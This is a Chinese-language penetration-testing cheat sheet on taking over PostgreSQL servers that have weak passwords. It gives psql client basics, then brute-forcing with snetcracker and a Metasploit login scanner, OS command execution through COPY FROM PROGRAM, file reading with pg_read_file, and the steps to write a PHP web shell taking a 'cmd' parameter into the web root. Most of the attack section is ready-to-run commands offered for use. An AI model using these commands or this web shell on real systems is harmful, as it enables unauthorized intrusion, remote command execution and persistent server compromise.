PostgreSQL弱口令getshell
postgreSQL简介
- 数据库端口5432
- 数据库连接成功常用数据库查询命令
命令行客户端操作pg数据库常用操作
1.链接数据库
$psql -U user_name -d database_name -h serverhost
2.命令常用操作
\h #查看所有的sql关键字
\? #命令行操作的帮助
\d #查看当前schema 中所有的表
\q #退出pg命令行
\d #schema.table 查看表的结构
\x #横纵显示切换
\dT+ #显示扩展类型相关属性及描述
\dx #显示已安装的扩展插件
\l #列出所有的数据库
\! hostname #列出当前的主机名
\timing #显示执行时间
\c database_name #切换数据库
set search to schema #切换schema
explain analyze sql #解释或分析sql执行过程
postgreSQL数据库渗透思路
1.postgreSQL数据库暴力猜解
猜解成功后可进行的操作
- 可对数据库进行操作(增、删、改、查)
- 可通过数据库函数执行系统命令
2.postgreSQL注入
postgreSQL暴力猜解
snetcracker工具进行爆破
msf爆破
use auxiliary/scanner/postgres/postgres_login
set rhosts 目标IP
run
postgreSQL数据库链接,命令执行
命令行连接
postgres-#的意思是:你当前的命令输入还不完整。
postgres=#的意思是:当前没有输入新的命令
psql -h 192.168.2.115 -U postgres -W
- 渗透常用命令总结
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
//执行系统命令
navicat连接
命令总结
\l
//列出数据库
\du
//列出数据库的用户
select pg_ls_dir('./');
//不能是绝对路径
select pg_read_file('postgresql.auto.conf', 0, 200);
//读取系统文件:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
//使用数据库获取系统信息
getshell-1
drop table pwn;
create table pwn (t TEXT);
insert into pwn(t) values ('<?php @system("$_GET[cmd]");?>');
select * from pwn;
copy pwn(t) to '/tmp/cmd.php';
drop table pwn;
//使用数据库写文件
copy (select '<?php phpinfo();?>') to '/tmp/1.php';
成功写入文件,一般目标都会部署web应用,把webshell写道web应用中可getshell